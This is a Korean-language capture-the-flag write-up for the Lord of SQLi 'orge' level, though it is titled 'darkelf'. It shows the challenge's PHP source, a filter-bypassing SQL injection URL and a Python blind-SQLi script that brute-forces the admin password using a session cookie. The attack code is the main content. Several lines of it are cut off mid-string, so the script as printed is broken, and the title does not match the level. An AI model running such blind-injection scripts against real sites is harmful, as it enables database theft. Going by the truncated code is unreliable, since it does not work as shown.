Lord of SQLi - darkelf

> query : select id from prob_orge w here id='guest' and pw =''

```
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
  highlight_file(__FILE__);
?>
```

- GET방식으로 파라미터를 넘겨주고 있다.
- pw 파라미터에서 prob,_, ., (,) 를 필터링하고있다.
- 이번에는 Hello admin 이라는 문구를 띄우더라도 그 밑줄에서 addslashes함수를 써서 쿼터를 필터링한다.

> query : select id from prob_orge w here id='guest' and pw ='' || id = "admin" && length(pw) = 8 #'

> URL : http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw = ' || id = "admin" %26%26 length(pw) = 8 %23

- 위의 쿼리를 대입하면 id컬럼의 값이 admin 인 레코드의 pw 컬럼의 길이가 8일 때 참을 출력한다.
- 맨 마지막에 GET으로 pw 를 받아서 쿼리에 대입하여 결과가 있는지 확인한 후 admin의 pw 인지 확인해서 정답인지 아닌지 판별하는 것을 보고 Bilnd SQLi 라고 판단할 수 있다.

payload

```
import urllib.request

MyHeader = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
'Accept-Encoding': 'none',
'Accept-Language': 'en-US,en;q=0.8',
'Connection': 'keep-alive'}
length=8
pw=""
arr="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
for i in range(1,9):
        for j in range(0,62):
                url="http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=*'||id='admin'%26%26 substr(pw,
                r = urllib.request.Request(url,headers=MyHeader)
                r.add_header("Cookie","PHPSESSID=3lghblr5sl531is5c4lgc6cc01")
                data = urllib.request.urlopen(r).read().decode("utf-8")
                print(url)
```

```
                if data.find("Hello admin") != -1 :
                        pw = pw + arr[j]
                        print("This is    "+arr[j])
                        break
print(pw)
```